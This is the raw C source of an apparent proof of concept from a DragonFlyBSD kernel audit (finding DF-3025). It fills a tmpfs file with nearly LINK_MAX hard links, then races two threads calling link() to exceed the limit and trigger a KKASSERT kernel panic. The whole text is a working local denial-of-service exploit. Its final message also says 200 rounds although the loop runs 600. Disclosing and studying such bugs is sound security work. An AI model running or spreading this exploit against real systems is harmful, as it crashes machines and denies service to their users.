⬢ DragonFlyBSD Kernel Audit
DF-3025 / df3025.c
← back to finding ↓ download raw
/* DF-3025 - tmpfs_nlink LINK_MAX check-then-increment race (KKASSERT panic). */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/stat.h>
#define LINKMAX 32767
static char dirp[512], target[600];
static pthread_barrier_t bar;
static volatile int e0=0,e1=0;
static char src0[600], src1[600];
static void *linker(void *arg)
{
    long id=(long)arg; char p[600]; const char *src = id? src1 : src0;
    pthread_barrier_wait(&bar);
    snprintf(p,sizeof p,"%s/d%ld/r",dirp,id);
    int r=link(src,p);
    if(id==0) e0=r?errno:0; else e1=r?errno:0;
    return NULL;
}
int main(int argc,char**argv)
{
    char p[600]; struct stat st; pthread_t a,b; int i,round;
    if(argc!=2){fprintf(stderr,"usage: df3025 dir\n");return 2;}
    snprintf(dirp,sizeof dirp,"%s",argv[1]);
    snprintf(p,sizeof p,"%s/d0",dirp); mkdir(p,0777);
    snprintf(p,sizeof p,"%s/d1",dirp); mkdir(p,0777);
    snprintf(target,sizeof target,"%s/t",dirp);
    int fd=creat(target,0644); if(fd<0){perror("creat");return 1;} close(fd);
    for(i=0;i<LINKMAX-2;i++){                 /* tn_links = 1 + nlinks */
        snprintf(p,sizeof p,"%s/L%d",dirp,i);
        if(link(target,p)!=0){fprintf(stderr,"setup link %d: %s\n",i,strerror(errno));return 1;}
    }
    snprintf(src0,sizeof src0,"%s/L1",dirp);
    snprintf(src1,sizeof src1,"%s/L%03d",dirp,LINKMAX-3);
    if(stat(target,&st)){perror("stat");return 1;}
    printf("setup: nlink=%lu (LINK_MAX=%d)\n",(unsigned long)st.st_nlink,LINKMAX);
    for(round=0;round<600;round++){
        e0=e1=0;
        pthread_barrier_init(&bar,NULL,3);
        pthread_create(&a,NULL,linker,(void*)0);
        pthread_create(&b,NULL,linker,(void*)1);
        pthread_barrier_wait(&bar);
        pthread_join(a,NULL); pthread_join(b,NULL);
        pthread_barrier_destroy(&bar);
        if(stat(target,&st)){perror("stat2");return 1;}
        if(st.st_nlink>LINKMAX){
            printf("RACE WON round %d: nlink=%lu > LINK_MAX -> next link() should KKASSERT\n",
                   round,(unsigned long)st.st_nlink);
            fflush(stdout);
            snprintf(p,sizeof p,"%s/d0/final",dirp);
            printf("triggering: link() -> %d\n", link(target,p));
            printf("SURVIVED (no panic)\n");
            return 0;
        }
        /* not won: one or both failed with EMLINK; clean the round's links */
        snprintf(p,sizeof p,"%s/d0/r",dirp); unlink(p);
        snprintf(p,sizeof p,"%s/d1/r",dirp); unlink(p);
    }
    printf("race not won in 200 rounds; last errno pair %d/%d\n",e0,e1);
    return 0;
}